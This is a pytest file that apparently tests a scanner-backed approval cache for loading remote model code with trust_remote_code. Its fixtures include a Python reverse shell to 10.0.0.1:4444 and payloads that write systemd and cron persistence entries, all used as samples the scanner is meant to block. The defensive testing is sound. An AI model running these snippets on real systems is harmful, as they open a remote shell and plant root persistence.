# SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 """Tests for the persistent per-user trust_remote_code approval cache. The cache skips only the DIALOG, never the scan: every load re-scans (CRITICAL always blocked), and a stored approval just seeds the authoritative fingerprint check. The scanner and fingerprint run for real; only the config/file fetch and commit-SHA lookup are stubbed. """ import pytest import utils.security.consent as consent import utils.security.remote_code_approvals as approvals from utils.security import evaluate_remote_code_consent_for_targets # HIGH (approvable) is the interesting case: benign code never prompts and CRITICAL is never # approvable, so the cache that skips the prompt only matters for blockable-but-approvable. _HIGH = { "modeling_persist.py": ( "open('/etc/systemd/system/x.service', 'w').write('[Service]\\nExecStart=sh')\n" ) } _HIGH2 = { # a different HIGH payload -> different fingerprint "modeling_persist.py": ("open('/etc/cron.d/x', 'w').write('* * * * * root sh -c id')\n") } _CRITICAL = { "modeling_evil.py": ( "import socket, subprocess, os\n" "s = socket.socket(); s.connect(('10.0.0.1', 4444))\n" "os.dup2(s.fileno(), 0); subprocess.call(['/bin/sh', '-i'])\n" ) } @pytest.fixture(autouse = True) def _isolated_store(tmp_path, monkeypatch): """Point the store at a tmp file and start each test with a clean cache.""" monkeypatch.setattr(approvals, "_store_path", lambda: tmp_path / "approvals.json") monkeypatch.delenv("UNSLOTH_TRC_APPROVAL_CACHE_DISABLE", raising = False) yield def _patch_scan( monkeypatch, files, sha = "sha1", ): """Stub the gate's scanners and the SHA resolver; return a {'scans': n} counter.""" state = {"scans": 0} def _files(target, hf_token = None): state["scans"] += 1 return dict(files) monkeypatch.setattr(consent, "_config_has_auto_map", lambda *a, **k: True) monkeypatch.setattr(consent, "repo_remote_code_files", _files) monkeypatch.setattr(approvals, "resolve_commit_sha", lambda t, hf = None: sha) return state def _gate( targets, *, approved = None, subject = "user-a", ): return evaluate_remote_code_consent_for_targets( targets if isinstance(targets, list) else [targets], None, trust_remote_code = True, approved_fingerprint = approved, subject = subject, ) def _approve( monkeypatch, target = "org/m", files = _HIGH, sha = "sha1", subject = "user-a", ): """Drive a genuine approval (scan -> user supplies the matching fingerprint -> record).""" st = _patch_scan(monkeypatch, files, sha = sha) fp = _gate(target, subject = subject).fingerprint # blocked: no approval yet _gate(target, approved = fp, subject = subject) # explicit approval -> recorded return st, fp # --- store API --------------------------------------------------------------- def test_store_roundtrip_and_forget(): approvals.record( "u", "k", commit_sha = "s", fingerprint = "f", max_severity = "HIGH", scanner_version = 1 ) got = approvals.lookup("u", "k") assert got is not None and got.fingerprint == "f" and got.scanner_version == 1 approvals.forget("u", "k") assert approvals.lookup("u", "k") is None def test_file_lock_acquires_releases_and_reacquires(): # Used around every store write; must acquire, release, and be re-acquirable (no leak). with approvals._file_lock(): pass with approvals._file_lock(): pass def test_concurrent_records_do_not_lose_entries(): # Many writers recording different keys must all survive the read-modify-write; the file # lock + re-read serialize them so none clobbers another (cross-process race fix). import threading def rec(i): approvals.record("u", f"k{i}", commit_sha = "s", fingerprint = f"f{i}", max_severity = "HIGH") threads = [threading.Thread(target = rec, args = (i,)) for i in range(20)] for t in threads: t.start() for t in threads: t.join() for i in range(20): assert approvals.lookup("u", f"k{i}") is not None def test_combined_sha_none_when_any_unresolvable(monkeypatch): monkeypatch.setattr( approvals, "resolve_commit_sha", lambda t, hf = None: None if t == "org/base" else "s" ) assert approvals.resolve_combined_sha(["org/a", "org/base"]) is None assert approvals.resolve_combined_sha(["org/a"]) is not None def test_resolve_commit_sha_local_and_offline_are_none(monkeypatch): monkeypatch.setattr("utils.paths.is_local_path", lambda t: t.startswith("/")) assert approvals.resolve_commit_sha("/local/model") is None monkeypatch.setattr(approvals, "_env_offline", lambda: True) assert approvals.resolve_commit_sha("org/remote") is None def test_corrupt_store_is_ignored_then_rewritten(): store = approvals._store_path() store.parent.mkdir(parents = True, exist_ok = True) store.write_text("{ not valid json") assert approvals.lookup("u", "k") is None # no raise approvals.record("u", "k", commit_sha = "s", fingerprint = "f", max_severity = "HIGH") assert approvals.lookup("u", "k") is not None # valid file rewritten def test_malformed_store_shape_fails_safe(): # Valid JSON + version but a non-dict shape (hand-edited) must fail safe (re-prompt), # never crash lookup/record/forget. store = approvals._store_path() store.parent.mkdir(parents = True, exist_ok = True) for bad in ('{"version": 1, "subjects": []}', '{"version": 1, "subjects": {"u": []}}'): store.write_text(bad) assert approvals.lookup("u", "k") is None # no raise approvals.forget("u", "k") # no raise approvals.record("u", "k", commit_sha = "s", fingerprint = "f", max_severity = "HIGH") assert approvals.lookup("u", "k") is not None # store healed # --- gate integration: the cache skips the prompt, never the scan ------------ def test_cache_miss_prompts(monkeypatch): _patch_scan(monkeypatch, _HIGH) d = _gate("org/m") assert d.blocked is True and d.approvable is True assert approvals.lookup("user-a", approvals.approval_target_key(["org/m"])) is None def test_unchanged_repo_skips_prompt_but_still_scans(monkeypatch): st, _ = _approve(monkeypatch) before = st["scans"] d = _gate("org/m") # SHA + fingerprint match -> auto-approve, but the scan still runs assert d.blocked is False and d.reason == "approved by fingerprint" assert st["scans"] == before + 1 # cache never skips the scan def test_sha_moved_forces_reprompt(monkeypatch): _approve(monkeypatch, sha = "sha1") monkeypatch.setattr(approvals, "resolve_commit_sha", lambda t, hf = None: "sha2") d = _gate("org/m") # SHA moved -> seed withheld -> re-prompt even though code is identical assert d.blocked is True def test_local_offline_uses_fingerprint_only(monkeypatch): # SHA unresolvable (local/offline): the fingerprint alone governs, so unchanged code # still auto-approves. _approve(monkeypatch, sha = None) d = _gate("org/m") assert d.blocked is False and d.reason == "approved by fingerprint" def test_changed_code_same_sha_reprompts(monkeypatch): # Even with the primary SHA unchanged, changed executable code (e.g. an external # auto_map repo) changes the fingerprint, so the dialog returns. _approve(monkeypatch, files = _HIGH, sha = "sha1") monkeypatch.setattr(consent, "repo_remote_code_files", lambda t, hf_token = None: dict(_HIGH2)) d = _gate("org/m") assert d.blocked is True def test_scanner_version_change_invalidates(monkeypatch): _approve(monkeypatch) # recorded under the current SCANNER_VERSION monkeypatch.setattr(approvals, "SCANNER_VERSION", approvals.SCANNER_VERSION + 1) d = _gate("org/m") # ruleset changed -> stored approval ignored -> re-prompt assert d.blocked is True def test_critical_is_never_recorded(monkeypatch): _patch_scan(monkeypatch, _CRITICAL) fp = _gate("org/m").fingerprint d = _gate("org/m", approved = fp) # CRITICAL is not approvable assert d.blocked is True and d.approvable is False assert approvals.lookup("user-a", approvals.approval_target_key(["org/m"])) is None def test_forged_critical_store_entry_is_refused(monkeypatch): _patch_scan(monkeypatch, _CRITICAL) key = approvals.approval_target_key(["org/m"]) approvals._save( { "version": 1, "subjects": { "user-a": { key: { "commit_sha": "org/m=sha1", "fingerprint": "x", "max_severity": "CRITICAL", "scanner_version": approvals.SCANNER_VERSION, "approved_at": "t", } } }, } ) assert approvals.lookup("user-a", key) is None # read guard refuses CRITICAL assert _gate("org/m").blocked is True # scan still runs and blocks def test_forged_downgraded_severity_still_blocks_critical(monkeypatch): # The store is editable JSON: forge a non-CRITICAL severity + the real fingerprint/SHA # for code that is actually CRITICAL. The scan still runs every load, so CRITICAL is # hard-blocked regardless of what the store claims. st = _patch_scan(monkeypatch, _CRITICAL, sha = "sha1") fp = _gate("org/m").fingerprint key = approvals.approval_target_key(["org/m"]) approvals._save( { "version": 1, "subjects": { "user-a": { key: { "commit_sha": approvals.resolve_combined_sha(["org/m"]), "fingerprint": fp, "max_severity": "HIGH", # forged downgrade "scanner_version": approvals.SCANNER_VERSION, "approved_at": "t", } } }, } ) before = st["scans"] d = _gate("org/m") assert d.blocked is True and d.approvable is False assert st["scans"] == before + 1 # scanned despite the forged approval def test_disable_flag_bypasses_cache(monkeypatch): _approve(monkeypatch) monkeypatch.setenv("UNSLOTH_TRC_APPROVAL_CACHE_DISABLE", "1") d = _gate("org/m") # cache off -> no seed -> re-prompt assert d.blocked is True def test_subject_isolation(monkeypatch): _approve(monkeypatch, subject = "user-a") assert _gate("org/m", subject = "user-a").blocked is False # a: seeded -> auto-approve assert _gate("org/m", subject = "user-b").blocked is True # b: still prompted def test_combined_lora_key(monkeypatch): targets = ["org/adapter", "org/base"] _approve(monkeypatch, target = targets) assert _gate(targets).blocked is False # combined key seeded assert _gate(["org/adapter"]).blocked is True # adapter-only key misses def test_no_subject_disables_cache(monkeypatch): st = _patch_scan(monkeypatch, _HIGH) fp = evaluate_remote_code_consent_for_targets( ["org/m"], None, trust_remote_code = True, subject = None ).fingerprint evaluate_remote_code_consent_for_targets( ["org/m"], None, trust_remote_code = True, approved_fingerprint = fp, subject = None ) assert approvals.lookup("", approvals.approval_target_key(["org/m"])) is None # No subject -> nothing seeded -> still blocked next time. d = evaluate_remote_code_consent_for_targets( ["org/m"], None, trust_remote_code = True, subject = None ) assert d.blocked is True